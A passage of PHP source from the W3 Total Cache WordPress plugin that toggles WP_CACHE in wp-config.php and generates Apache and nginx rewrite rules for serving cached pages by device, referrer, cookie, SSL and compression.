'">the install page</a> for the rules for your server.';
throw new Util_Environment_Exception( $error, $tech_message );
}
}
/**
* Perform rewrite test
*
* @param string $url
* @return boolean
*/
private function test_rewrite( $url ) {
$key = sprintf( 'w3tc_rewrite_test_%s', substr( md5( $url ), 0, 16 ) );
$result = get_transient( $key );
if ( $result === false ) {
$response = Util_Http::get( $url );
$result = ( !is_wp_error( $response ) && $response['response']['code'] == 200 && trim( $response['body'] ) == 'OK' );
if ( $result ) {
set_transient( $key, $result, 30 );
} else {
$key_result = sprintf( 'w3tc_rewrite_test_result_%s', substr( md5( $url ), 0, 16 ) );
set_transient( $key_result, is_wp_error( $response )? $response->get_error_message(): implode( ' ', $response['response'] ), 30 );
}
}
return $result;
}
/**
* scheduling stuff
*/
private function unschedule_gc() {
if ( wp_next_scheduled( 'w3_pgcache_cleanup' ) )
wp_clear_scheduled_hook( 'w3_pgcache_cleanup' );
}
private function unschedule_prime() {
if ( wp_next_scheduled( 'w3_pgcache_prime' ) )
wp_clear_scheduled_hook( 'w3_pgcache_prime' );
}
/*
* wp-config modification
*/
/**
* Enables WP_CACHE
*
* @throws Util_WpFile_FilesystemOperationException with S/FTP form if it can't get the required filesystem credentials
*/
private function wp_config_add_directive() {
$config_path = Util_Environment::wp_config_path();
$config_data = @file_get_contents( $config_path );
if ( $config_data === false )
return;
$new_config_data = $this->wp_config_remove_from_content( $config_data );
$new_config_data = preg_replace(
'~<\?(php)?~',
"\\0\r\n" . $this->wp_config_addon(),
$new_config_data,
1 );
if ( $new_config_data != $config_data ) {
try {
Util_WpFile::write_to_file( $config_path, $new_config_data );
} catch ( Util_WpFile_FilesystemOperationException $ex ) {
throw new Util_WpFile_FilesystemModifyException(
$ex->getMessage(), $ex->credentials_form(),
'Edit file <strong>' . $config_path .
'</strong> and add next lines:', $config_path,
$this->wp_config_addon() );
}
}
// that file was in opcache for sure and it may take time to
// start execution of new modified now version
$o = Dispatcher::component( 'SystemOpCache_Core' );
$o->flush();
}
/**
* Disables WP_CACHE
*
* @throws Util_WpFile_FilesystemOperationException with S/FTP form if it can't get the required filesystem credentials
*/
private function wp_config_remove_directive() {
$config_path = Util_Environment::wp_config_path();
$config_data = @file_get_contents( $config_path );
if ( $config_data === false )
return;
$new_config_data = $this->wp_config_remove_from_content( $config_data );
if ( $new_config_data != $config_data ) {
try {
Util_WpFile::write_to_file( $config_path, $new_config_data );
} catch ( Util_WpFile_FilesystemOperationException $ex ) {
throw new Util_WpFile_FilesystemModifyException(
$ex->getMessage(), $ex->credentials_form(),
'Edit file <strong>' . $config_path .
'</strong> and remove next lines:',
$config_path, $this->wp_config_addon() );
}
}
}
/**
* Returns string Addon required for plugin in wp-config
*/
private function wp_config_addon() {
return "/** Enable W3 Total Cache */\r\n" .
"define('WP_CACHE', true); // Added by W3 Total Cache\r\n";
}
/**
* Disables WP_CACHE
*
* @param string $config_data wp-config.php content
* @return string
* @throws Util_WpFile_FilesystemOperationException with S/FTP form if it can't get the required filesystem credentials
*/
private function wp_config_remove_from_content( $config_data ) {
$config_data = preg_replace(
"~\\/\\*\\* Enable W3 Total Cache \\*\\*?\\/.*?\\/\\/ Added by W3 Total Cache(\r\n)*~s",
'', $config_data );
$config_data = preg_replace(
"~(\\/\\/\\s*)?define\\s*\\(\\s*['\"]?WP_CACHE['\"]?\\s*,.*?\\)\\s*;+\\r?\\n?~is",
'', $config_data );
return $config_data;
}
/**
* rules core modification
*/
/**
* Writes directives to WP .htaccess / nginx.conf
* returns true if modifications has been made
*/
private function rules_core_add( $config, $exs ) {
Util_Rule::add_rules( $exs, Util_Rule::get_pgcache_rules_core_path(),
$this->rules_core_generate( $config ),
W3TC_MARKER_BEGIN_PGCACHE_CORE,
W3TC_MARKER_END_PGCACHE_CORE,
array(
W3TC_MARKER_BEGIN_WORDPRESS => 0,
W3TC_MARKER_END_MINIFY_CORE =>
strlen( W3TC_MARKER_END_MINIFY_CORE ) + 1,
W3TC_MARKER_END_BROWSERCACHE_CACHE =>
strlen( W3TC_MARKER_END_BROWSERCACHE_CACHE ) + 1,
W3TC_MARKER_END_PGCACHE_CACHE =>
strlen( W3TC_MARKER_END_PGCACHE_CACHE ) + 1,
W3TC_MARKER_END_MINIFY_CACHE =>
strlen( W3TC_MARKER_END_MINIFY_CACHE ) + 1
),
true
);
}
/**
* Removes Page Cache core directives
*
* @param Util_Environment_Exceptions $exs
* @throws Util_WpFile_FilesystemOperationException with S/FTP form if it can't get the required filesystem credentials
*/
private function rules_core_remove( $exs ) {
Util_Rule::remove_rules( $exs, Util_Rule::get_pgcache_rules_core_path(),
W3TC_MARKER_BEGIN_PGCACHE_CORE,
W3TC_MARKER_END_PGCACHE_CORE
);
}
/**
* Generates rules for WP dir
*
* @param Config $config
* @return string
*/
private function rules_core_generate( $config ) {
switch ( true ) {
case Util_Environment::is_apache():
case Util_Environment::is_litespeed():
return $this->rules_core_generate_apache( $config );
case Util_Environment::is_nginx():
return $this->rules_core_generate_nginx( $config );
}
return '';
}
/**
* Generates rules for WP dir
*
* @param Config $config
* @return string
*/
private function rules_core_generate_apache( $config ) {
$rewrite_base = Util_Environment::network_home_url_uri();
$cache_dir = Util_Environment::normalize_path( W3TC_CACHE_PAGE_ENHANCED_DIR );
$permalink_structure = get_option( 'permalink_structure' );
$current_user = wp_get_current_user();
/**
* Auto reject cookies
*/
$reject_cookies = array(
'comment_author',
'wp-postpass'
);
$reject_cookies[] = 'w3tc_logged_out';
/**
* Reject cache for logged in users
* OR
* Reject cache for roles if any
*/
if ( $config->get_boolean( 'pgcache.reject.logged' ) ) {
$reject_cookies = array_merge( $reject_cookies, array(
'wordpress_logged_in'
) );
} elseif ( $config->get_boolean( 'pgcache.reject.logged_roles' ) ) {
$new_cookies = array();
foreach ( $config->get_array( 'pgcache.reject.roles' ) as $role ) {
$new_cookies[] = 'w3tc_logged_' . md5( NONCE_KEY . $role );
}
$reject_cookies = array_merge( $reject_cookies, $new_cookies );
}
/**
* Custom config
*/
$reject_cookies = array_merge( $reject_cookies, $config->get_array( 'pgcache.reject.cookie' ) );
Util_Rule::array_trim( $reject_cookies );
$reject_user_agents = $config->get_array( 'pgcache.reject.ua' );
if ( $config->get_boolean( 'pgcache.compatibility' ) ) {
$reject_user_agents = array_merge( array( W3TC_POWERED_BY ), $reject_user_agents );
}
Util_Rule::array_trim( $reject_user_agents );
/**
* Generate directives
*/
$env_W3TC_UA = '';
$env_W3TC_REF = '';
$env_W3TC_COOKIE = '';
$env_W3TC_SSL = '';
$env_W3TC_ENC = '';
$rules = '';
$rules .= W3TC_MARKER_BEGIN_PGCACHE_CORE . "\n";
$rules .= "<IfModule mod_rewrite.c>\n";
$rules .= " RewriteEngine On\n";
$rules .= " RewriteBase " . $rewrite_base . "\n";
if ( $config->get_boolean( 'pgcache.debug' ) ) {
$rules .= " RewriteRule ^(.*\\/)?w3tc_rewrite_test([0-9]+)/?$ $1?w3tc_rewrite_test=1 [L]\n";
}
/**
* Set accept query strings
*/
$w3tc_query_strings = apply_filters(
'w3tc_pagecache_rules_apache_accept_qs',
$config->get_array( 'pgcache.accept.qs' ) );
Util_Rule::array_trim( $w3tc_query_strings );
if ( !empty( $w3tc_query_strings ) ) {
$w3tc_query_strings = str_replace( ' ', '+', $w3tc_query_strings );
$w3tc_query_strings = array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $w3tc_query_strings );
$rules .= " RewriteRule ^ - [E=W3TC_QUERY_STRING:%{QUERY_STRING}]\n";
foreach ( $w3tc_query_strings as $query ) {
$query_rules = array();
if ( strpos( $query, '=' ) === false ) {
$query_rules[] = 'RewriteCond %{ENV:W3TC_QUERY_STRING} ^(.*?&|)' .
$query . '(=[^&]*)?(&.*|)$ [NC]';
$query_rules[] = 'RewriteRule ^ - [E=W3TC_QUERY_STRING:%1%3]';
} else {
$query_rules[] = 'RewriteCond %{ENV:W3TC_QUERY_STRING} ^(.*?&|)' .
$query . '(&.*|)$ [NC]';
$query_rules[] = 'RewriteRule ^ - [E=W3TC_QUERY_STRING:%1%2]';
}
$query_rules = apply_filters(
'w3tc_pagecache_rules_apache_accept_qs_rules',
$query_rules, $query );
$rules .= ' ' . implode( "\n ", $query_rules ) . "\n";
}
$rules .= " RewriteCond %{ENV:W3TC_QUERY_STRING} ^&+$\n";
$rules .= " RewriteRule ^ - [E=W3TC_QUERY_STRING]\n";
}
/**
* Check for mobile redirect
*/
if ( $config->get_boolean( 'mobile.enabled' ) ) {
$mobile_groups = $config->get_array( 'mobile.rgroups' );
foreach ( $mobile_groups as $mobile_group => $mobile_config ) {
$mobile_enabled = ( isset( $mobile_config['enabled'] ) ? (boolean) $mobile_config['enabled'] : false );
$mobile_agents = ( isset( $mobile_config['agents'] ) ? (array) $mobile_config['agents'] : '' );
$mobile_redirect = ( isset( $mobile_config['redirect'] ) ? $mobile_config['redirect'] : '' );
if ( $mobile_enabled && count( $mobile_agents ) && $mobile_redirect ) {
$rules .= " RewriteCond %{HTTP_USER_AGENT} (" . implode( '|', $mobile_agents ) . ") [NC]\n";
$rules .= " RewriteRule .* " . $mobile_redirect . " [R,L]\n";
}
}
}
/**
* Check for referrer redirect
*/
if ( $config->get_boolean( 'referrer.enabled' ) ) {
$referrer_groups = $config->get_array( 'referrer.rgroups' );
foreach ( $referrer_groups as $referrer_group => $referrer_config ) {
$referrer_enabled = ( isset( $referrer_config['enabled'] ) ? (boolean) $referrer_config['enabled'] : false );
$referrer_referrers = ( isset( $referrer_config['referrers'] ) ? (array) $referrer_config['referrers'] : '' );
$referrer_redirect = ( isset( $referrer_config['redirect'] ) ? $referrer_config['redirect'] : '' );
if ( $referrer_enabled && count( $referrer_referrers ) && $referrer_redirect ) {
$rules .= " RewriteCond %{HTTP_COOKIE} w3tc_referrer=.*(" . implode( '|', $referrer_referrers ) . ") [NC]\n";
$rules .= " RewriteRule .* " . $referrer_redirect . " [R,L]\n";
}
}
}
/**
* Set mobile groups
*/
if ( $config->get_boolean( 'mobile.enabled' ) ) {
$mobile_groups = array_reverse( $config->get_array( 'mobile.rgroups' ) );
foreach ( $mobile_groups as $mobile_group => $mobile_config ) {
$mobile_enabled = ( isset( $mobile_config['enabled'] ) ? (boolean) $mobile_config['enabled'] : false );
$mobile_agents = ( isset( $mobile_config['agents'] ) ? (array) $mobile_config['agents'] : '' );
$mobile_redirect = ( isset( $mobile_config['redirect'] ) ? $mobile_config['redirect'] : '' );
if ( $mobile_enabled && count( $mobile_agents ) && !$mobile_redirect ) {
$rules .= " RewriteCond %{HTTP_USER_AGENT} (" . implode( '|', $mobile_agents ) . ") [NC]\n";
$rules .= " RewriteRule .* - [E=W3TC_UA:_" . $mobile_group . "]\n";
$env_W3TC_UA = '%{ENV:W3TC_UA}';
}
}
}
/**
* Set referrer groups
*/
if ( $config->get_boolean( 'referrer.enabled' ) ) {
$referrer_groups = array_reverse( $config->get_array( 'referrer.rgroups' ) );
foreach ( $referrer_groups as $referrer_group => $referrer_config ) {
$referrer_enabled = ( isset( $referrer_config['enabled'] ) ? (boolean) $referrer_config['enabled'] : false );
$referrer_referrers = ( isset( $referrer_config['referrers'] ) ? (array) $referrer_config['referrers'] : '' );
$referrer_redirect = ( isset( $referrer_config['redirect'] ) ? $referrer_config['redirect'] : '' );
if ( $referrer_enabled && count( $referrer_referrers ) && !$referrer_redirect ) {
$rules .= " RewriteCond %{HTTP_COOKIE} w3tc_referrer=.*(" . implode( '|', $referrer_referrers ) . ") [NC]\n";
$rules .= " RewriteRule .* - [E=W3TC_REF:_" . $referrer_group . "]\n";
$env_W3TC_REF = '%{ENV:W3TC_REF}';
}
}
}
/**
* Set cookie group
*/
if ( $config->get_boolean( 'pgcache.cookiegroups.enabled' ) ) {
$cookie_groups = $config->get_array( 'pgcache.cookiegroups.groups' );
foreach ( $cookie_groups as $group_name => $g ) {
if ( isset( $g['enabled'] ) && $g['enabled'] ) {
$cookies = array();
foreach ($g['cookies'] as $cookie ) {
$cookie = trim( $cookie );
if ( !empty( $cookie ) ) {
$cookie = str_replace( '+', ' ', $cookie );
$cookie = Util_Environment::preg_quote( $cookie );
if ( strpos( $cookie, '=') === false )
$cookie .= '=.*';
$cookies[] = $cookie;
}
}
if ( count( $cookies ) > 0 ) {
$cookies_regexp = '^(.*;\s*)?(' . implode( '|', $cookies ) . ')(\s*;.*)?$';
$rules .= " RewriteCond %{HTTP_COOKIE} $cookies_regexp [NC]\n";
$rules .= " RewriteRule .* - [E=W3TC_COOKIE:_" . $group_name . "]\n";
$env_W3TC_COOKIE = '%{ENV:W3TC_COOKIE}';
}
}
}
}
/**
* Set HTTPS
*/
if ( $config->get_boolean( 'pgcache.cache.ssl' ) ) {
$rules .= " RewriteCond %{HTTPS} =on\n";
$rules .= " RewriteRule .* - [E=W3TC_SSL:_ssl]\n";
$rules .= " RewriteCond %{SERVER_PORT} =443\n";
$rules .= " RewriteRule .* - [E=W3TC_SSL:_ssl]\n";
$rules .= " RewriteCond %{HTTP:X-Forwarded-Proto} =https [NC]\n";
$rules .= " RewriteRule .* - [E=W3TC_SSL:_ssl]\n";
$env_W3TC_SSL = '%{ENV:W3TC_SSL}';
}
$cache_path = str_replace( Util_Environment::document_root(), '', $cache_dir );
/**
* Set Accept-Encoding gzip
*/
if ( $config->get_boolean( 'browsercache.enabled' ) && $config->get_boolean( 'browsercache.html.compression' ) ) {
$rules .= " RewriteCond %{HTTP:Accept-Encoding} gzip\n";
$rules .= " RewriteRule .* - [E=W3TC_ENC:_gzip]\n";
$env_W3TC_ENC = '%{ENV:W3TC_ENC}';
}
/**
* Set Accept-Encoding brotli
*/
if ( $config->get_boolean( 'browsercache.enabled' ) && $config->get_boolean( 'browsercache.html.brotli' ) ) {
$rules .= " RewriteCond %{HTTP:Accept-Encoding} br\n";
$rules .= " RewriteRule .* - [E=W3TC_ENC:_br]\n";
$env_W3TC_ENC = '%{ENV:W3TC_ENC}';
}
$rules .= " RewriteCond %{HTTP_COOKIE} w3tc_preview [NC]\n";
$rules .= " RewriteRule .* - [E=W3TC_PREVIEW:_preview]\n";
$env_W3TC_PREVIEW = '%{ENV:W3TC_PREVIEW}';
$rules .= " RewriteCond %{REQUEST_URI} \\/$\n";
$rules .= " RewriteRule .* - [E=W3TC_SLASH:_slash]\n";
$env_W3TC_SLASH = '%{ENV:W3TC_SLASH}';
$use_cache_rules = '';
/**
* Don't accept POSTs
*/
$use_cache_rules .= " RewriteCond %{REQUEST_METHOD} !=POST\n";
/**
* Query string should be empty
*/
$use_cache_rules .= empty( $w3tc_query_strings ) ?
" RewriteCond %{QUERY_STRING} =\"\"\n" :
" RewriteCond %{ENV:W3TC_QUERY_STRING} =\"\"\n";
/**
* Check for rejected cookies
*/
$use_cache_rules .= " RewriteCond %{HTTP_COOKIE} !(" . implode( '|',
array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $reject_cookies ) ) . ") [NC]\n";
/**
* Check for rejected user agents
*/
if ( count( $reject_user_agents ) ) {
$use_cache_rules .= " RewriteCond %{HTTP_USER_AGENT} !(" .
implode( '|',
array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $reject_user_agents ) ) . ") [NC]\n";
}
/**
* Make final rewrites for specific files
*/
$uri_prefix = $cache_path . '/%{HTTP_HOST}/%{REQUEST_URI}/' .
'_index' . $env_W3TC_SLASH . $env_W3TC_UA . $env_W3TC_REF . $env_W3TC_COOKIE .
$env_W3TC_SSL . $env_W3TC_PREVIEW;
$uri_prefix = apply_filters( 'w3tc_pagecache_rules_apache_uri_prefix',
$uri_prefix );
$switch = " -" . ( $config->get_boolean( 'pgcache.file.nfs' ) ? 'F' : 'f' );
$document_root = Util_Rule::apache_docroot_variable();
// write rule to rewrite to .html/.xml file
$exts = array( '.html' );
if ($config->get_boolean('pgcache.cache.nginx_handle_xml'))
$exts[] = '.xml';
/**
* Filter: Allow adding additional rules at the end of the PGCACHE_CORE block, before the last rule.
*
* @since 2.7.1
*
* @param string $rules Additional rules.
* @param string $use_cache_rules Rewrite conditions for non-POST, empty query string, rejected cookies, and rejected user agents.
* @param string $document_root Document root.
* @param string $uri_prefix URI prefix, after the "w3tc_pagecache_rules_apache_uri_prefix" WP filter.
* @param array $exts File extensions used; iterate to use them all.
* @param string $env_W3TC_ENC Encoding string: "", "_br", or "_gzip".
*/
$rules = \apply_filters(
'w3tc_pgcache_rules_apache_last',
$rules,
$use_cache_rules,
$document_root,
$uri_prefix,
$env_W3TC_ENC
);
foreach ( $exts as $ext ) {
$rules .= $use_cache_rules;
$rules .= " RewriteCond \"" . $document_root . $uri_prefix . $ext .
$env_W3TC_ENC . "\"" . $switch . "\n";
$rules .= " RewriteRule .* \"" . $uri_prefix . $ext .
$env_W3TC_ENC . "\" [L]\n";
}
$rules .= "</IfModule>\n";
$rules .= W3TC_MARKER_END_PGCACHE_CORE . "\n";
return $rules;
}
/**
* Generates rules for WP dir
*
* @param Config $config
* @return string
*/
private function rules_core_generate_nginx( $config ) {
$is_network = Util_Environment::is_wpmu();
$cache_dir = Util_Environment::normalize_path( W3TC_CACHE_PAGE_ENHANCED_DIR );
$permalink_structure = get_option( 'permalink_structure' );
$pgcache_engine = $config->get_string( 'pgcache.engine' );
/**
* Auto reject cookies
*/
$reject_cookies = array(
'comment_author',
'wp-postpass'
);
if ( $pgcache_engine == 'file_generic' ) {
$reject_cookies[] = 'w3tc_logged_out';
}
/**
* Reject cache for logged in users
* OR
* Reject cache for roles if any
*/
if ( $config->get_boolean( 'pgcache.reject.logged' ) ) {
$reject_cookies = array_merge( $reject_cookies, array(
'wordpress_logged_in'
) );
} elseif ( $config->get_boolean( 'pgcache.reject.logged_roles' ) ) {
$new_cookies = array();
foreach ( $config->get_array( 'pgcache.reject.roles' ) as $role ) {
$new_cookies[] = 'w3tc_logged_' . md5( NONCE_KEY . $role );
}
$reject_cookies = array_merge( $reject_cookies, $new_cookies );
}
/**
* Custom config
*/
$reject_cookies = array_merge( $reject_cookies,
$config->get_array( 'pgcache.reject.cookie' ) );
Util_Rule::array_trim( $reject_cookies );
$reject_user_agents = $config->get_array( 'pgcache.reject.ua' );
if ( $config->get_boolean( 'pgcache.compatibility' ) ) {
$reject_user_agents = array_merge( array( W3TC_POWERED_BY ),
$reject_user_agents );
}
Util_Rule::array_trim( $reject_user_agents );
/**
* Generate rules
*/
$env_w3tc_ua = '';
$env_w3tc_ref = '';
$env_w3tc_cookie = '';
$env_w3tc_ssl = '';
$env_w3tc_ext = '';
$env_w3tc_enc = '';
$env_request_uri = '$request_uri';
$rules = '';
$rules .= W3TC_MARKER_BEGIN_PGCACHE_CORE . "\n";
if ( $config->get_boolean( 'pgcache.debug' ) ) {
$rules .= "rewrite ^(.*\\/)?w3tc_rewrite_test([0-9]+)/?$ $1?w3tc_rewrite_test=1 last;\n";
}
/**
* Set accept query strings
*/
$w3tc_query_strings = apply_filters(
'w3tc_pagecache_rules_nginx_accept_qs',
$config->get_array( 'pgcache.accept.qs' ) );
Util_Rule::array_trim( $w3tc_query_strings );
if ( !empty( $w3tc_query_strings ) ) {
$w3tc_query_strings = str_replace( ' ', '+', $w3tc_query_strings );
$w3tc_query_strings = array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $w3tc_query_strings );
$rules .= "set \$w3tc_query_string \$query_string;\n";
foreach ( $w3tc_query_strings as $query ) {
$query_rules = array();
if ( strpos( $query, '=' ) === false ) {
$query_rules[] = 'if ($w3tc_query_string ~* "^(.*?&|)' . $query . '(=[^&]*)?(&.*|)$") {';
$query_rules[] = ' set $w3tc_query_string $1$3;';
$query_rules[] = '}';
} else {
$query_rules[] = 'if ($w3tc_query_string ~* "^(.*?&|)' . $query . '(&.*|)$") {';
$query_rules[] = ' set $w3tc_query_string $1$2;';
$query_rules[] = '}';
}
$query_rules = apply_filters(
'w3tc_pagecache_rules_nginx_accept_qs_rules',
$query_rules, $query );
$rules .= implode( "\n", $query_rules ) . "\n";
}
$rules .= "if (\$w3tc_query_string ~ ^[?&]+$) {\n";
$rules .= " set \$w3tc_query_string \"\";\n";
$rules .= "}\n";
$rules .= "set \$w3tc_request_uri \$request_uri;\n";
$rules .= "if (\$w3tc_request_uri ~* \"^([^?]+)\?\") {\n";
$rules .= " set \$w3tc_request_uri \$1;\n";
$rules .= "}\n";
$env_request_uri = '$w3tc_request_uri';
}
/**
* Check for mobile redirect
*/
if ( $config->get_boolean( 'mobile.enabled' ) ) {
$mobile_groups = $config->get_array( 'mobile.rgroups' );
foreach ( $mobile_groups as $mobile_group => $mobile_config ) {
$mobile_enabled = ( isset( $mobile_config['enabled'] ) ?
(boolean) $mobile_config['enabled'] : false );
$mobile_agents = ( isset( $mobile_config['agents'] ) ?
(array) $mobile_config['agents'] : '' );
$mobile_redirect = ( isset( $mobile_config['redirect'] ) ?
$mobile_config['redirect'] : '' );
if ( $mobile_enabled && count( $mobile_agents ) && $mobile_redirect ) {
$rules .= "if (\$http_user_agent ~* \"(" . implode( '|',
$mobile_agents ) . ")\") {\n";
$rules .= " rewrite .* " . $mobile_redirect . " last;\n";
$rules .= "}\n";
}
}
}
/**
* Check for referrer redirect
*/
if ( $config->get_boolean( 'referrer.enabled' ) ) {
$referrer_groups = $config->get_array( 'referrer.rgroups' );
foreach ( $referrer_groups as $referrer_group => $referrer_config ) {
$referrer_enabled = ( isset( $referrer_config['enabled'] ) ?
(boolean) $referrer_config['enabled'] : false );
$referrer_referrers = ( isset( $referrer_config['referrers'] ) ?
(array) $referrer_config['referrers'] : '' );
$referrer_redirect = ( isset( $referrer_config['redirect'] ) ?
$referrer_config['redirect'] : '' );
if ( $referrer_enabled && count( $referrer_referrers ) &&
$referrer_redirect ) {
$rules .= "if (\$http_cookie ~* \"w3tc_referrer=.*(" .
implode( '|', $referrer_referrers ) . ")\") {\n";
$rules .= " rewrite .* " . $referrer_redirect . " last;\n";
$rules .= "}\n";
}
}
}
/**
* Don't accept POSTs
*/
$rules .= "set \$w3tc_rewrite 1;\n";
$rules .= "if (\$request_method = POST) {\n";
$rules .= " set \$w3tc_rewrite 0;\n";
$rules .= "}\n";
/**
* Query string should be empty
*/
$querystring_variable = ( empty( $w3tc_query_strings ) ?
'$query_string' : '$w3tc_query_string' );
$rules .= "if (" . $querystring_variable . " != \"\") {\n";
$rules .= " set \$w3tc_rewrite 0;\n";
$rules .= "}\n";
$rules .= "set \$w3tc_slash \"\";\n";
$rules .= "if ($env_request_uri ~ \\/$) {\n";
$rules .= " set \$w3tc_slash _slash;\n";
$rules .= "}\n";
$env_w3tc_slash = "\$w3tc_slash";
/**
* Check for rejected cookies
*/
$rules .= "if (\$http_cookie ~* \"(" . implode( '|',
array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $reject_cookies ) ) . ")\") {\n";
$rules .= " set \$w3tc_rewrite 0;\n";
$rules .= "}\n";
/**
* Check for rejected user agents
*/
if ( count( $reject_user_agents ) ) {
$rules .= "if (\$http_user_agent ~* \"(" . implode( '|',
array_map( array( '\W3TC\Util_Environment', 'preg_quote' ), $reject_user_agents ) ) . ")\") {\n";
$rules .= " set \$w3tc_rewrite 0;\n";
$rules .= "}\n";
}
/**
* Check mobile groups
*/
if ( $config->get_boolean( 'mobile.enabled' ) ) {
$mobile_groups = array_reverse( $config->get_array( 'mobile.rgroups' ) );
$set_ua_var = true;
foreach ( $mobile_groups as $mobile_group => $mobile_config ) {
$mobile_enabled = ( isset( $mobile_config['enabled'] ) ?
(boolean) $mobile_config['enabled'] : false );
$mobile_agents = ( isset( $mobile_config['agents'] ) ?
(array) $mobile_config['agents'] : '' );
$mobile_redirect = ( isset( $mobile_config['redirect'] ) ?
$mobile_config['redirect'] : '' );
if ( $mobile_enabled && count( $mobile_agents ) &&
!$mobile_redirect ) {
if ( $set_ua_var ) {
$rules .= "set \$w3tc_ua \"\";\n";
$set_ua_var = false;
}
$rules .= "if (\$http_user_agent ~* \"(" .
implode( '|', $mobile_agents ) . ")\") {\n";
$rules .= " set \$w3tc_ua _" . $mobile_group . ";\n";
$rules .= "}\n";
$env_w3tc_ua = "\$w3tc_ua";
}
}
}
/**
* Check for preview cookie
*/
$rules .= "set \$w3tc_preview \"\";\n";
$rules .= "if (\$http_cookie ~* \"(w3tc_preview)\") {\n";
$rules .= " set \$w3tc_preview _preview;\n";
$rules .= "}\n";
$env_w3tc_preview = "\$w3tc_preview";
/**
* Check referrer groups
*/
if ( $config->get_boolean( 'referrer.enabled' ) ) {
$referrer_groups = array_reverse( $config->get_array( 'referrer.rgroups' ) );
$set_ref_var = true;
foreach ( $referrer_groups as $referrer_group => $referrer_config ) {
$referrer_enabled = ( isset( $referrer_config['enabled'] ) ?
(boolean) $referrer_config['enabled'] : false );
$referrer_referrers = ( isset( $referrer_config['referrers'] ) ?
(array) $referrer_config['referrers'] : '' );
$referrer_redirect = ( isset( $referrer_config['redirect'] ) ?
$referrer_config['redirect'] : '' );
if ( $referrer_enabled && count( $referrer_referrers ) &&
!$referrer_redirect ) {
if ( $set_ref_var ) {
$rules .= "set \$w3tc_ref \"\";\n";
$set_ref_var = false;
}
$rules .= "if (\$http_cookie ~* \"w3tc_referrer=.*(" .
implode( '|', $referrer_referrers ) . ")\") {\n";
$rules .= " set \$w3tc_ref _" . $referrer_group . ";\n";
$rules .= "}\n";
$env_w3tc_ref = "\$w3tc_ref";
}
}
}
/**
* Set cookie group
*/
if ( $config->get_boolean( 'pgcache.cookiegroups.enabled' ) ) {
$cookie_groups = $config->get_array( 'pgcache.cookiegroups.groups' );
$set_cookie_var = true;
foreach ( $cookie_groups as $group_name => $g ) {
if ( isset( $g['enabled'] ) && $g['enabled'] ) {
$cookies = array();
foreach ($g['cookies'] as $cookie ) {
$cookie = trim( $cookie );
if ( !empty( $cookie ) ) {
$cookie = str_replace( '+', ' ', $cookie );
$cookie = Util_Environment::preg_quote( $cookie );
if ( strpos( $cookie, '=') === false )
$cookie .= '=.*';
$cookies[] = $cookie;
}
}
if ( count( $cookies ) > 0 ) {
$cookies_regexp = '"^(.*;)?(' . implode( '|', $cookies ) . ')(;.*)?$"';
if ( $set_cookie_var ) {
$rules .= "set \$w3tc_cookie \"\";\n";
$set_cookie_var = false;
}
$rules .= "if (\$http_cookie ~* $cookies_regexp) {\n";
$rules .= " set \$w3tc_cookie _" . $group_name . ";\n";
$rules .= "}\n";
$env_w3tc_cookie = "\$w3tc_cookie";
}
}
}
}
if ( $config->get_boolean( 'pgcache.cache.ssl' ) ) {
$rules .= "set \$w3tc_ssl \"\";\n";
$rules .= "if (\$scheme = https) {\n";
$rules .= " set \$w3tc_ssl _ssl;\n";
$rules .= "}\n";
$rules .= "if (\$http_x_forwarded_proto = 'https') {\n";
$rules .= " set \$w3tc_ssl _ssl;\n";
$rules .= "}\n";
$env_w3tc_ssl = '$w3tc_ssl';
}
if ( $config->get_boolean( 'browsercache.enabled' ) &&
$config->get_boolean( 'browsercache.html.compression' ) ) {
$rules .= "set \$w3tc_enc \"\";\n";
$rules .= "if (\$http_accept_encoding ~ gzip) {\n";
$rules .= " set \$w3tc_enc _gzip;\n";
$rules .= "}\n";
$env_w3tc_enc = '$w3tc_enc';
}
if ( $config->get_boolean( 'browsercache.enabled' ) &&
$config->get_boolean( 'browsercache.html.brotli' ) ) {
$rules .= "set \$w3tc_enc \"\";\n";
$rules .= "if (\$http_accept_encoding ~ br) {\n";
$rules .= " set \$w3tc_enc _br;\n";
$rules .= "}\n";
$env_w3tc_enc = '$w3tc_enc';
}
$key_postfix = $env_w3tc_slash . $env_w3tc_ua . $env_w3tc_ref . $env_w3tc_cookie .
$env_w3tc_ssl . $env_w3tc_preview;
/**
* Filter: Allow modifying the key_postfix string used in the PGCACHE_CORE block.
*
* @since 2.7.1
*
* @param string $key_postfix Key postfix string.
*/
$key_postfix = \apply_filters( 'w3tc_pgcache_postfix_nginx', $key_postfix );
if ( $pgcache_engine == 'file_generic' ) {
$rules .= $this->for_file_generic( $config, $cache_dir,
$env_request_uri, $key_postfix, $env_w3tc_enc );
} elseif ( $pgcache_engine == 'nginx_memcached' ) {
$rules .= $this->for_nginx_memcached( $config, $cache_dir,
$env_request_uri, $key_postfix, $env_w3tc_enc );
}
$rules .= W3TC_MARKER_END_PGCACHE_CORE . "\n";
return $rules;
}
private function for_file_generic( $config, $cache_dir, $env_request_uri,
$key_postfix, $env_w3tc_enc ) {
$rules = '';
$cache_path = str_replace( Util_Environment::document_root(), '',
$cache_dir );
$uri_prefix = "$cache_path/\$http_host/$env_request_uri/_index$key_postfix";
$uri_prefix = apply_filters( 'w3tc_pagecache_rules_nginx_uri_prefix',
$uri_prefix );
if ( !$config->get_boolean( 'pgcache.cache.nginx_handle_xml' ) ) {
$env_w3tc_ext = '.html';
$rules .= 'if (!-f "$document_root' . $uri_prefix . '.html' .
$env_w3tc_enc . '") {' . "\n";
$rules .= ' set $w3tc_rewrite 0;' . "\n";
$rules .= "}\n";
} else {
$env_w3tc_ext = '$w3tc_ext';
$rules .= 'set $w3tc_ext "";' . "\n";
$rules .= 'if (-f "$document_root' . $uri_prefix . '.html' .
$env_w3tc_enc . '") {' . "\n";
$rules .= ' set $w3tc_ext .html;' . "\n";
$rules .= "}\n";
$rules .= 'if (-f "$document_root' . $uri_prefix . '.xml' .
$env_w3tc_enc . '") {' . "\n";
$rules .= ' set $w3tc_ext .xml;' . "\n";
$rules .= "}\n";
$rules .= 'if ($w3tc_ext = "") {' . "\n";
$rules .= ' set $w3tc_rewrite 0;' . "\n";
$rules .= "}\n";
}
$rules .= 'if ($w3tc_rewrite = 1) {' . "\n";
$rules .= ' rewrite .* "' . $uri_prefix . $env_w3tc_ext . $env_w3tc_enc .
'" last;' . "\n";
$rules .= "}\n";
return $rules;
}
